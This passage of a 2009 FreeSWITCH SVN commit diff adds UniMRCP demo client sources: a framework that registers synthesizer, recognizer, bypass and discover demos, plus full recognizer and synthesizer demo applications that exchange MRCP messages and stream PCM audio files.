+static apt_bool_t demo_framework_message_handler(const mrcp_app_message_t *app_message);
+static apt_bool_t demo_framework_consumer_task_create(demo_framework_t *framework);
+static apt_bool_t demo_framework_app_register(demo_framework_t *framework, demo_application_t *demo_application, const char *name);
+
+/** Create demo framework */
+demo_framework_t* demo_framework_create(apt_dir_layout_t *dir_layout)
+{
+	demo_framework_t *framework = NULL;
+	mrcp_client_t *client = unimrcp_client_create(dir_layout);
+	if(client) {
+		demo_application_t *demo_application;
+		apr_pool_t *pool = mrcp_client_memory_pool_get(client);
+		/* create demo framework */
+		framework = apr_palloc(pool,sizeof(demo_framework_t));
+		framework->pool = pool;
+		framework->client = client;
+		framework->application_table = apr_hash_make(pool);
+
+		/* create demo synthesizer application */
+		demo_application = demo_synth_application_create(framework->pool);
+		if(demo_application) {
+			demo_framework_app_register(framework,demo_application,"synth");
+		}
+
+		/* create demo recognizer application */
+		demo_application = demo_recog_application_create(framework->pool);
+		if(demo_application) {
+			demo_framework_app_register(framework,demo_application,"recog");
+		}
+
+		/* create demo bypass media application */
+		demo_application = demo_bypass_application_create(framework->pool);
+		if(demo_application) {
+			demo_framework_app_register(framework,demo_application,"bypass");
+		}
+
+		/* create demo resource discover application */
+		demo_application = demo_discover_application_create(framework->pool);
+		if(demo_application) {
+			demo_framework_app_register(framework,demo_application,"discover");
+		}
+
+		demo_framework_consumer_task_create(framework);
+
+		if(framework->task) {
+			apt_task_t *task = apt_consumer_task_base_get(framework->task);
+			apt_task_start(task);
+		}
+		
+		/* start client stack */
+		mrcp_client_start(client);
+	}
+
+	return framework;
+}
+
+/** Run demo application */
+apt_bool_t demo_framework_app_run(demo_framework_t *framework, const char *app_name, const char *profile_name)
+{
+	apt_task_t *task = apt_consumer_task_base_get(framework->task);
+	apt_task_msg_t *task_msg = apt_task_msg_get(task);
+	if(task_msg) {
+		framework_task_data_t *framework_task_data = (framework_task_data_t*)task_msg->data;
+		task_msg->type = TASK_MSG_USER;
+		task_msg->sub_type = DEMO_CONSOLE_MSG_ID;
+		framework_task_data = (framework_task_data_t*) task_msg->data;
+		strcpy(framework_task_data->app_name,app_name);
+		strcpy(framework_task_data->profile_name,profile_name);
+		framework_task_data->app_message = NULL;
+		framework_task_data->demo_application = NULL;
+		apt_task_msg_signal(task,task_msg);
+	}
+	return TRUE;
+}
+
+/** Destroy demo framework */
+apt_bool_t demo_framework_destroy(demo_framework_t *framework)
+{
+	if(!framework) {
+		return FALSE;
+	}
+
+	if(framework->task) {
+		apt_task_t *task = apt_consumer_task_base_get(framework->task);
+		apt_task_terminate(task,TRUE);
+		apt_task_destroy(task);
+		framework->task = NULL;
+	}
+
+	mrcp_client_shutdown(framework->client);
+	return mrcp_client_destroy(framework->client);
+}
+
+static apt_bool_t demo_framework_app_register(demo_framework_t *framework, demo_application_t *demo_application, const char *name)
+{
+	apr_hash_set(framework->application_table,name,APR_HASH_KEY_STRING,demo_application);
+	demo_application->framework = framework;
+	demo_application->application = mrcp_application_create(
+										demo_framework_message_handler,
+										demo_application,
+										framework->pool);
+	return mrcp_client_application_register(framework->client,demo_application->application,name);
+}
+
+static void demo_framework_on_start_complete(apt_task_t *task)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Run Demo Framework");
+}
+
+static apt_bool_t demo_framework_console_msg_process(demo_framework_t *framework, const char *app_name, const char *profile_name)
+{
+	demo_application_t *demo_application = apr_hash_get(framework->application_table,app_name,APR_HASH_KEY_STRING);
+	if(!demo_application) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"No Such Demo Application [%s]",app_name);
+		return FALSE;
+	}
+	
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Run Demo Application Scenario [%s]",app_name);
+	return demo_application->run(demo_application,profile_name);
+}
+
+static apt_bool_t demo_framework_msg_process(apt_task_t *task, apt_task_msg_t *msg)
+{
+	if(msg->type == TASK_MSG_USER) {
+		framework_task_data_t *data = (framework_task_data_t*)msg->data;
+		switch(msg->sub_type) {
+			case DEMO_APPLICATION_MSG_ID:
+			{
+				data->demo_application->handler(data->demo_application,data->app_message);
+				break;
+			}
+			case DEMO_CONSOLE_MSG_ID:
+			{
+				apt_consumer_task_t *consumer_task = apt_task_object_get(task);
+				demo_framework_t *framework = apt_consumer_task_object_get(consumer_task);
+				demo_framework_console_msg_process(framework,data->app_name,data->profile_name);
+				break;
+			}
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t demo_framework_consumer_task_create(demo_framework_t *framework)
+{
+	apt_task_t *task;
+	apt_task_vtable_t *vtable;
+	apt_task_msg_pool_t *msg_pool;
+
+	msg_pool = apt_task_msg_pool_create_dynamic(sizeof(framework_task_data_t),framework->pool);
+	framework->task = apt_consumer_task_create(framework,msg_pool,framework->pool);
+	if(!framework->task) {
+		return FALSE;
+	}
+	task = apt_consumer_task_base_get(framework->task);
+	apt_task_name_set(task,FRAMEWORK_TASK_NAME);
+	vtable = apt_consumer_task_vtable_get(framework->task);
+	if(vtable) {
+		vtable->process_msg = demo_framework_msg_process;
+		vtable->on_start_complete = demo_framework_on_start_complete;
+	}
+
+	return TRUE;
+}
+
+/** Callback is called from MRCP client stack (task) context.
+ *  Signal app_message to the main consumer task of the demo framework
+ *  for further processing (see demo_framework_msg_process).
+ */
+static apt_bool_t demo_framework_message_handler(const mrcp_app_message_t *app_message)
+{
+	demo_application_t *demo_application;
+	if(!app_message->application) {
+		return FALSE;
+	}
+	demo_application = mrcp_application_object_get(app_message->application);
+	if(demo_application && demo_application->framework) {
+		demo_framework_t *framework = demo_application->framework;
+		apt_task_t *task = apt_consumer_task_base_get(framework->task);
+		apt_task_msg_t *task_msg = apt_task_msg_get(task);
+		if(task_msg) {
+			framework_task_data_t *framework_task_data = (framework_task_data_t*)task_msg->data;
+			task_msg->type = TASK_MSG_USER;
+			task_msg->sub_type = DEMO_APPLICATION_MSG_ID;
+			framework_task_data = (framework_task_data_t*) task_msg->data;
+			framework_task_data->app_message = app_message;
+			framework_task_data->demo_application = demo_application;
+			apt_task_msg_signal(task,task_msg);
+		}
+	}
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_recog_application.c

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_recog_application.c (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/unimrcp-client/src/demo_recog_application.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_recog_application.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_recog_application.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,353 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/*
+ * Demo recognizer scenario.
+ * C -> S: SIP INVITE or RTPS SETUP   (add recognizer channel)
+ * S -> C: SIP OK or RTPS OK
+ * C -> S: MRCP RECOGNIZE
+ * S -> C: MRCP IN-PROGRESS
+ * C -> S: RTP Start Transmission
+ * S -> C: MRCP START-OF-INPUT
+ * S -> C: MRCP RECOGNITION-COMPLETE
+ * C -> S: RTP Stop Transmission
+ * C -> S: SIP INVITE or RTPS SETUP   (optionally remove recognizer channel)
+ * S -> C: SIP OK or RTPS OK
+ * C -> S: SIP BYE or RTPS TEARDOWN
+ * S -> C: SIP OK or RTPS OK
+ */
+
+#include "demo_application.h"
+#include "demo_util.h"
+#include "mrcp_session.h"
+#include "mrcp_message.h"
+#include "mrcp_generic_header.h"
+#include "mrcp_recog_header.h"
+#include "mrcp_recog_resource.h"
+#include "apt_log.h"
+
+#define DEMO_SPEECH_SOURCE_FILE "one.pcm"
+
+typedef struct recog_app_channel_t recog_app_channel_t;
+
+/** Declaration of recognizer application channel */
+struct recog_app_channel_t {
+	/** MRCP control channel */
+	mrcp_channel_t *channel;
+
+	/** Streaming is in-progress */
+	apt_bool_t      streaming;
+	/** File to read audio stream from */
+	FILE           *audio_in;
+	/** Estimated time to complete (used if no audio_in available) */
+	apr_size_t      time_to_complete;
+};
+
+/** Declaration of recognizer application methods */
+static apt_bool_t recog_application_run(demo_application_t *demo_application, const char *profile);
+static apt_bool_t recog_application_handler(demo_application_t *application, const mrcp_app_message_t *app_message);
+
+/** Declaration of application message handlers */
+static apt_bool_t recog_application_on_session_update(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status);
+static apt_bool_t recog_application_on_session_terminate(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status);
+static apt_bool_t recog_application_on_channel_add(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status);
+static apt_bool_t recog_application_on_channel_remove(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status);
+static apt_bool_t recog_application_on_message_receive(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_message_t *message);
+
+static const mrcp_app_message_dispatcher_t recog_application_dispatcher = {
+	recog_application_on_session_update,
+	recog_application_on_session_terminate,
+	recog_application_on_channel_add,
+	recog_application_on_channel_remove,
+	recog_application_on_message_receive
+};
+
+/** Declaration of recognizer audio stream methods */
+static apt_bool_t recog_app_stream_destroy(mpf_audio_stream_t *stream);
+static apt_bool_t recog_app_stream_open(mpf_audio_stream_t *stream);
+static apt_bool_t recog_app_stream_close(mpf_audio_stream_t *stream);
+static apt_bool_t recog_app_stream_read(mpf_audio_stream_t *stream, mpf_frame_t *frame);
+
+static const mpf_audio_stream_vtable_t audio_stream_vtable = {
+	recog_app_stream_destroy,
+	recog_app_stream_open,
+	recog_app_stream_close,
+	recog_app_stream_read,
+	NULL,
+	NULL,
+	NULL
+};
+
+
+/** Create demo recognizer application */
+demo_application_t* demo_recog_application_create(apr_pool_t *pool)
+{
+	demo_application_t *recog_application = apr_palloc(pool,sizeof(demo_application_t));
+	recog_application->application = NULL;
+	recog_application->framework = NULL;
+	recog_application->handler = recog_application_handler;
+	recog_application->run = recog_application_run;
+	return recog_application;
+}
+
+/** Create demo recognizer channel */
+static mrcp_channel_t* recog_application_channel_create(mrcp_session_t *session)
+{
+	mrcp_channel_t *channel;
+	mpf_termination_t *termination;
+	mpf_codec_descriptor_t *codec_descriptor = NULL;
+
+	/* create channel */
+	recog_app_channel_t *recog_channel = apr_palloc(session->pool,sizeof(recog_app_channel_t));
+	recog_channel->streaming = FALSE;
+	recog_channel->audio_in = NULL;
+	recog_channel->time_to_complete = 0;
+
+#if 0 /* in case your audio source isn't in linear PCM, create appropriate codec descriptor below */
+	codec_descriptor = apr_palloc(session->pool,sizeof(mpf_codec_descriptor_t));
+	mpf_codec_descriptor_init(codec_descriptor);
+	codec_descriptor->channel_count = 1;
+	codec_descriptor->payload_type = 0;
+	apt_string_set(&codec_descriptor->name,"PCMU");
+	codec_descriptor->sampling_rate = 8000;
+#endif
+
+	termination = mrcp_application_source_termination_create(
+			session,                   /* session, termination belongs to */
+			&audio_stream_vtable,      /* virtual methods table of audio stream */
+			codec_descriptor,          /* codec descriptor of audio stream (NULL by default) */
+			recog_channel);            /* object to associate */
+	
+	channel = mrcp_application_channel_create(
+			session,                   /* session, channel belongs to */
+			MRCP_RECOGNIZER_RESOURCE,  /* MRCP resource identifier */
+			termination,               /* media termination, used to terminate audio stream */
+			NULL,                      /* RTP descriptor, used to create RTP termination (NULL by default) */
+			recog_channel);            /* object to associate */
+	return channel;
+}
+
+/** Run demo recognizer scenario */
+static apt_bool_t recog_application_run(demo_application_t *demo_application, const char *profile)
+{
+	mrcp_channel_t *channel;
+	/* create session */
+	mrcp_session_t *session = mrcp_application_session_create(demo_application->application,profile,NULL);
+	if(!session) {
+		return FALSE;
+	}
+	
+	/* create channel and associate all the required data */
+	channel = recog_application_channel_create(session);
+	if(!channel) {
+		mrcp_application_session_destroy(session);
+		return FALSE;
+	}
+
+	/* add channel to session (send asynchronous request) */
+	if(mrcp_application_channel_add(session,channel) != TRUE) {
+		/* session and channel are still not referenced 
+		and both are allocated from session pool and will
+		be freed with session destroy call */
+		mrcp_application_session_destroy(session);
+		return FALSE;
+	}
+
+	return TRUE;
+}
+
+/** Handle the messages sent from the MRCP client stack */
+static apt_bool_t recog_application_handler(demo_application_t *application, const mrcp_app_message_t *app_message)
+{
+	/* app_message should be dispatched now,
+	*  the default dispatcher is used in demo. */
+	return mrcp_application_message_dispatch(&recog_application_dispatcher,app_message);
+}
+
+/** Handle the responses sent to session update requests */
+static apt_bool_t recog_application_on_session_update(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status)
+{
+	/* not used in demo */
+	return TRUE;
+}
+
+/** Handle the responses sent to session terminate requests */
+static apt_bool_t recog_application_on_session_terminate(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status)
+{
+	/* received response to session termination request,
+	now it's safe to destroy no more referenced session */
+	mrcp_application_session_destroy(session);
+	return TRUE;
+}
+
+/** Handle the responses sent to channel add requests */
+static apt_bool_t recog_application_on_channel_add(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status)
+{
+	if(status == MRCP_SIG_STATUS_CODE_SUCCESS) {
+		mrcp_message_t *mrcp_message;
+		const apt_dir_layout_t *dir_layout = mrcp_application_dir_layout_get(application);
+		/* create and send DEFINE-GRAMMAR request */
+		mrcp_message = demo_define_grammar_message_create(session,channel,dir_layout);
+		if(mrcp_message) {
+			mrcp_application_message_send(session,channel,mrcp_message);
+		}
+	}
+	else {
+		/* error case, just terminate the demo */
+		mrcp_application_session_terminate(session);
+	}
+	return TRUE;
+}
+
+static apt_bool_t recog_application_on_channel_remove(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status)
+{
+	recog_app_channel_t *recog_channel = mrcp_application_channel_object_get(channel);
+
+	/* terminate the demo */
+	mrcp_application_session_terminate(session);
+
+	if(recog_channel) {
+		FILE *audio_in = recog_channel->audio_in;
+		if(audio_in) {
+			recog_channel->audio_in = NULL;
+			fclose(audio_in);
+		}
+	}
+	return TRUE;
+}
+
+/** Handle the DEFINE-GRAMMAR responses */
+static apt_bool_t recog_application_on_define_grammar(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel)
+{
+	recog_app_channel_t *recog_channel = mrcp_application_channel_object_get(channel);
+	mrcp_message_t *mrcp_message;
+	const apt_dir_layout_t *dir_layout = mrcp_application_dir_layout_get(application);
+	/* create and send RECOGNIZE request */
+	mrcp_message = demo_recognize_message_create(session,channel,dir_layout);
+	if(mrcp_message) {
+		mrcp_application_message_send(session,channel,mrcp_message);
+	}
+	if(recog_channel) {
+		char *file_path = apt_datadir_filepath_get(dir_layout,DEMO_SPEECH_SOURCE_FILE,session->pool);
+		if(file_path) {
+			recog_channel->audio_in = fopen(file_path,"rb");
+			if(recog_channel->audio_in) {
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Set [%s] as Speech Source",file_path);
+			}
+			else {
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Cannot Find [%s]",file_path);
+				/* set some estimated time to complete */
+				recog_channel->time_to_complete = 5000; // 5 sec
+			}
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t recog_application_on_message_receive(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_message_t *message)
+{
+	recog_app_channel_t *recog_channel = mrcp_application_channel_object_get(channel);
+	if(message->start_line.message_type == MRCP_MESSAGE_TYPE_RESPONSE) {
+		/* received MRCP response */
+		if(message->start_line.method_id == RECOGNIZER_DEFINE_GRAMMAR) {
+			/* received the response to DEFINE-GRAMMAR request */
+			if(message->start_line.request_state == MRCP_REQUEST_STATE_COMPLETE) {
+				recog_application_on_define_grammar(application,session,channel);
+			}
+			else {
+				/* received unexpected response, remove channel */
+				mrcp_application_channel_remove(session,channel);
+			}
+		}
+		else if(message->start_line.method_id == RECOGNIZER_RECOGNIZE) {
+			/* received the response to RECOGNIZE request */
+			if(message->start_line.request_state == MRCP_REQUEST_STATE_INPROGRESS) {
+				/* start to stream the speech to recognize */
+				if(recog_channel) {
+					recog_channel->streaming = TRUE;
+				}
+			}
+			else {
+				/* received unexpected response, remove channel */
+				mrcp_application_channel_remove(session,channel);
+			}
+		}
+		else {
+			/* received unexpected response */
+		}
+	}
+	else if(message->start_line.message_type == MRCP_MESSAGE_TYPE_EVENT) {
+		if(message->start_line.method_id == RECOGNIZER_RECOGNITION_COMPLETE) {
+			demo_nlsml_result_parse(message);
+			if(recog_channel) {
+				recog_channel->streaming = FALSE;
+			}
+			mrcp_application_channel_remove(session,channel);
+		}
+		else if(message->start_line.method_id == RECOGNIZER_START_OF_INPUT) {
+			/* received start-of-input, do whatever you need here */
+		}
+	}
+	return TRUE;
+}
+
+/** Callback is called from MPF engine context to destroy any additional data associated with audio stream */
+static apt_bool_t recog_app_stream_destroy(mpf_audio_stream_t *stream)
+{
+	return TRUE;
+}
+
+/** Callback is called from MPF engine context to perform application stream specific action before open */
+static apt_bool_t recog_app_stream_open(mpf_audio_stream_t *stream)
+{
+	return TRUE;
+}
+
+/** Callback is called from MPF engine context to perform application stream specific action after close */
+static apt_bool_t recog_app_stream_close(mpf_audio_stream_t *stream)
+{
+	return TRUE;
+}
+
+/** Callback is called from MPF engine context to read new frame */
+static apt_bool_t recog_app_stream_read(mpf_audio_stream_t *stream, mpf_frame_t *frame)
+{
+	recog_app_channel_t *recog_channel = stream->obj;
+	if(recog_channel && recog_channel->streaming == TRUE) {
+		if(recog_channel->audio_in) {
+			if(fread(frame->codec_frame.buffer,1,frame->codec_frame.size,recog_channel->audio_in) == frame->codec_frame.size) {
+				/* normal read */
+				frame->type |= MEDIA_FRAME_TYPE_AUDIO;
+			}
+			else {
+				/* file is over */
+				recog_channel->streaming = FALSE;
+			}
+		}
+		else {
+			/* fill with silence in case no file available */
+			if(recog_channel->time_to_complete >= CODEC_FRAME_TIME_BASE) {
+				frame->type |= MEDIA_FRAME_TYPE_AUDIO;
+				memset(frame->codec_frame.buffer,0,frame->codec_frame.size);
+				recog_channel->time_to_complete -= CODEC_FRAME_TIME_BASE;
+			}
+			else {
+				recog_channel->streaming = FALSE;
+			}
+		}
+	}
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_synth_application.c

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_synth_application.c (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/unimrcp-client/src/demo_synth_application.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_synth_application.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_synth_application.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,288 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 
+ * Demo synthesizer scenario.
+ * C -> S: SIP INVITE or RTPS SETUP   (add synthesizer channel)
+ * S -> C: SIP OK or RTPS OK
+ * C -> S: MRCP SPEAK
+ * S -> C: MRCP IN-PROGRESS
+ * S -> C: RTP Start Transmission
+ * S -> C: MRCP SPEAK-COMPLETE
+ * S -> C: RTP Stop Transmission
+ * C -> S: SIP INVITE or RTPS SETUP   (optionally remove synthesizer channel)
+ * S -> C: SIP OK or RTPS OK
+ * C -> S: SIP BYE or RTPS TEARDOWN
+ * S -> C: SIP OK or RTPS OK
+ */
+
+#include "demo_application.h"
+#include "demo_util.h"
+#include "mrcp_session.h"
+#include "mrcp_message.h"
+#include "mrcp_generic_header.h"
+#include "mrcp_synth_header.h"
+#include "mrcp_synth_resource.h"
+
+typedef struct synth_app_channel_t synth_app_channel_t;
+
+/** Declaration of synthesizer application channel */
+struct synth_app_channel_t {
+	/** MRCP control channel */
+	mrcp_channel_t *channel;
+	/** File to write audio stream to */
+	FILE           *audio_out;
+};
+
+/** Declaration of synthesizer application methods */
+static apt_bool_t synth_application_run(demo_application_t *demo_application, const char *profile);
+static apt_bool_t synth_application_handler(demo_application_t *application, const mrcp_app_message_t *app_message);
+
+/** Declaration of application message handlers */
+static apt_bool_t synth_application_on_session_update(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status);
+static apt_bool_t synth_application_on_session_terminate(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status);
+static apt_bool_t synth_application_on_channel_add(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status);
+static apt_bool_t synth_application_on_channel_remove(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status);
+static apt_bool_t synth_application_on_message_receive(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_message_t *message);
+
+static const mrcp_app_message_dispatcher_t synth_application_dispatcher = {
+	synth_application_on_session_update,
+	synth_application_on_session_terminate,
+	synth_application_on_channel_add,
+	synth_application_on_channel_remove,
+	synth_application_on_message_receive
+};
+
+/** Declaration of synthesizer audio stream methods */
+static apt_bool_t synth_app_stream_destroy(mpf_audio_stream_t *stream);
+static apt_bool_t synth_app_stream_open(mpf_audio_stream_t *stream);
+static apt_bool_t synth_app_stream_close(mpf_audio_stream_t *stream);
+static apt_bool_t synth_app_stream_write(mpf_audio_stream_t *stream, const mpf_frame_t *frame);
+
+static const mpf_audio_stream_vtable_t audio_stream_vtable = {
+	synth_app_stream_destroy,
+	NULL,
+	NULL,
+	NULL,
+	synth_app_stream_open,
+	synth_app_stream_close,
+	synth_app_stream_write
+};
+
+
+/** Create demo synthesizer application */
+demo_application_t* demo_synth_application_create(apr_pool_t *pool)
+{
+	demo_application_t *synth_application = apr_palloc(pool,sizeof(demo_application_t));
+	synth_application->application = NULL;
+	synth_application->framework = NULL;
+	synth_application->handler = synth_application_handler;
+	synth_application->run = synth_application_run;
+	return synth_application;
+}
+
+/** Create demo synthesizer channel */
+static mrcp_channel_t* synth_application_channel_create(mrcp_session_t *session)
+{
+	mrcp_channel_t *channel;
+	mpf_termination_t *termination;
+	mpf_codec_descriptor_t *codec_descriptor = NULL;
+
+	/* create channel */
+	synth_app_channel_t *synth_channel = apr_palloc(session->pool,sizeof(synth_app_channel_t));
+	synth_channel->audio_out = NULL;
+
+#if 0
+	codec_descriptor = apr_palloc(session->pool,sizeof(mpf_codec_descriptor_t));
+	mpf_codec_descriptor_init(codec_descriptor);
+	codec_descriptor->channel_count = 1;
+	codec_descriptor->payload_type = 0;
+	apt_string_set(&codec_descriptor->name,"PCMU");
+	codec_descriptor->sampling_rate = 8000;
+#endif
+
+	termination = mrcp_application_sink_termination_create(
+			session,                   /* session, termination belongs to */
+			&audio_stream_vtable,      /* virtual methods table of audio stream */
+			codec_descriptor,          /* codec descriptor of audio stream (NULL by default) */
+			synth_channel);            /* object to associate */
+	
+	channel = mrcp_application_channel_create(
+			session,                   /* session, channel belongs to */
+			MRCP_SYNTHESIZER_RESOURCE, /* MRCP resource identifier */
+			termination,               /* media termination, used to terminate audio stream */
+			NULL,                      /* RTP descriptor, used to create RTP termination (NULL by default) */
+			synth_channel);            /* object to associate */
+	return channel;
+}
+
+
+/** Run demo synthesizer scenario */
+static apt_bool_t synth_application_run(demo_application_t *demo_application, const char *profile)
+{
+	mrcp_channel_t *channel;
+	/* create session */
+	mrcp_session_t *session = mrcp_application_session_create(demo_application->application,profile,NULL);
+	if(!session) {
+		return FALSE;
+	}
+	
+	/* create channel and associate all the required data */
+	channel = synth_application_channel_create(session);
+	if(!channel) {
+		mrcp_application_session_destroy(session);
+		return FALSE;
+	}
+
+	/* add channel to session (send asynchronous request) */
+	if(mrcp_application_channel_add(session,channel) != TRUE) {
+		/* session and channel are still not referenced 
+		and both are allocated from session pool and will
+		be freed with session destroy call */
+		mrcp_application_session_destroy(session);
+		return FALSE;
+	}
+
+	return TRUE;
+}
+
+/** Handle the messages sent from the MRCP client stack */
+static apt_bool_t synth_application_handler(demo_application_t *application, const mrcp_app_message_t *app_message)
+{
+	/* app_message should be dispatched now,
+	*  the default dispatcher is used in demo. */
+	return mrcp_application_message_dispatch(&synth_application_dispatcher,app_message);
+}
+
+/** Handle the responses sent to session update requests */
+static apt_bool_t synth_application_on_session_update(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status)
+{
+	/* not used in demo */
+	return TRUE;
+}
+
+/** Handle the responses sent to session terminate requests */
+static apt_bool_t synth_application_on_session_terminate(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status)
+{
+	/* received response to session termination request,
+	now it's safe to destroy no more referenced session */
+	mrcp_application_session_destroy(session);
+	return TRUE;
+}
+
+/** Handle the responses sent to channel add requests */
+static apt_bool_t synth_application_on_channel_add(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status)
+{
+	synth_app_channel_t *synth_channel = mrcp_application_channel_object_get(channel);
+	if(status == MRCP_SIG_STATUS_CODE_SUCCESS) {
+		mrcp_message_t *mrcp_message;
+		const apt_dir_layout_t *dir_layout = mrcp_application_dir_layout_get(application);
+		/* create and send SPEAK request */
+		mrcp_message = demo_speak_message_create(session,channel,dir_layout);
+		if(mrcp_message) {
+			mrcp_application_message_send(session,channel,mrcp_message);
+		}
+
+		if(synth_channel && session) {
+			char *file_name = apr_pstrcat(session->pool,"synth-",session->id.buf,".pcm",NULL);
+			char *file_path = apt_datadir_filepath_get(dir_layout,file_name,session->pool);
+			if(file_path) {
+				synth_channel->audio_out = fopen(file_path,"wb");
+			}
+		}
+	}
+	else {
+		/* error case, just terminate the demo */
+		mrcp_application_session_terminate(session);
+	}
+	return TRUE;
+}
+
+/** Handle the responses sent to channel remove requests */
+static apt_bool_t synth_application_on_channel_remove(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status)
+{
+	synth_app_channel_t *synth_channel = mrcp_application_channel_object_get(channel);
+
+	/* terminate the demo */
+	mrcp_application_session_terminate(session);
+
+	if(synth_channel) {
+		FILE *audio_out = synth_channel->audio_out;
+		if(audio_out) {
+			synth_channel->audio_out = NULL;
+			fclose(audio_out);
+		}
+	}
+	return TRUE;
+}
+
+/** Handle the MRCP responses/events */
+static apt_bool_t synth_application_on_message_receive(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_message_t *message)
+{
+	if(message->start_line.message_type == MRCP_MESSAGE_TYPE_RESPONSE) {
+		/* received MRCP response */
+		if(message->start_line.method_id == SYNTHESIZER_SPEAK) {
+			/* received the response to SPEAK request */
+			if(message->start_line.request_state == MRCP_REQUEST_STATE_INPROGRESS) {
+				/* waiting for SPEAK-COMPLETE event */
+			}
+			else {
+				/* received unexpected response, remove channel */
+				mrcp_application_channel_remove(session,channel);
+			}
+		}
+		else {
+			/* received unexpected response */
+		}
+	}
+	else if(message->start_line.message_type == MRCP_MESSAGE_TYPE_EVENT) {
+		/* received MRCP event */
+		if(message->start_line.method_id == SYNTHESIZER_SPEAK_COMPLETE) {
+			/* received SPEAK-COMPLETE event, remove channel */
+			mrcp_application_channel_remove(session,channel);
+		}
+	}
+	return TRUE;
+}
+
+/** Callback is called from MPF engine context to destroy any additional data associated with audio stream */
+static apt_bool_t synth_app_stream_destroy(mpf_audio_stream_t *stream)
+{
+	/* nothing to destroy in demo */
+	return TRUE;
+}
+
+/** Callback is called from MPF engine context to perform application stream specific action before open */
+static apt_bool_t synth_app_stream_open(mpf_audio_stream_t *stream)
+{
+	return TRUE;
+}
+
+/** Callback is called from MPF engine context to perform application stream specific action after close */
+static apt_bool_t synth_app_stream_close(mpf_audio_stream_t *stream)
+{
+	return TRUE;
+}
+
+/** Callback is called from MPF engine context to make new frame available to write/send */
+static apt_bool_t synth_app_stream_write(mpf_audio_stream_t *stream, const mpf_frame_t *frame)
+{
+	synth_app_channel_t *synth_channel = stream->obj;
+	if(synth_channel && synth_channel->audio_out) {
+		fwrite(frame->codec_frame.buffer,1,frame->codec_frame.size,synth_channel->audio_out);
+	}
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_util.c

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_util.c (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/unimrcp-client/src/demo_util.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_util.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_util.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,209 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
